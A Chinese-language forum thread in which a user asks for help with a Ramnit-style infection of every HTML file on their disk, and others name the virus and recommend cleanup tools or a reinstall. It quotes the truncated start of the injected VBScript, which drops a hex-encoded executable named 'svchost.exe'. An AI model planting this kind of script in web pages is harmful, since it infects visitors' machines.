全盘HTML感染，DropFileName = "svchost.exe"

v825852188

每天都在用此类危险软件，昨日中招咯！

</body>
</html><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000



全盘HTML貌似一个不剩 还有桌面快捷方式

v825852188

大牛快出现 快告诉我不要重装是否修的好 大数字努力奔波中。。。。。

多管闲事

样本在哪里啊

pal家族

你大数字可以修复哒！，但是得进入一个啥子强力清除模式才行。。
要不然一边清除一边感染。

欧阳宣

在样本区发帖是需要样本的。

@屁颠屁颠 烦请移动到答疑区

heishen2010

你說的是我附件中這類吧！這是感染性病毒，如果系統文件被感染！建議最好重裝系統，沒有其他辦法！殺毒軟件也不是萬能的，不能修復所有被感染的文件！

开开心心卖手机

Virus: Trojan.HTML.Ramnit.A (Engine A)

尘梦幽然

1.至以下链接处下载ATTK扫描工具：

http://support.trendmicro.com.cn ... stomizedpackage.exe (32位）

http://support.trendmicro.com.cn ... mizedpackage_64.exe（64位）

2.将下载的工具(supportcustomizedpackage)放到有问题的电脑上，双击运行
3.在打开的界面中手动设定扫描全盘文件

v825852188

尘梦幽然 发表于 2015-5-26 13:35
1.至以下链接处下载ATTK扫描工具：

http://support.trendmicro.com.cn/Anti-Virus/Clean-Tool/ATTK_CN/s ...

虽然用大数字杀过一次 我再用专业工具试试咯

XywCloud

1.8L+1【推荐用8L给的工具】
2.Baidu Antivirus可以带毒环境下完成病毒清理（断网也不是问题），只不过被检出的Html文件将会直接删除。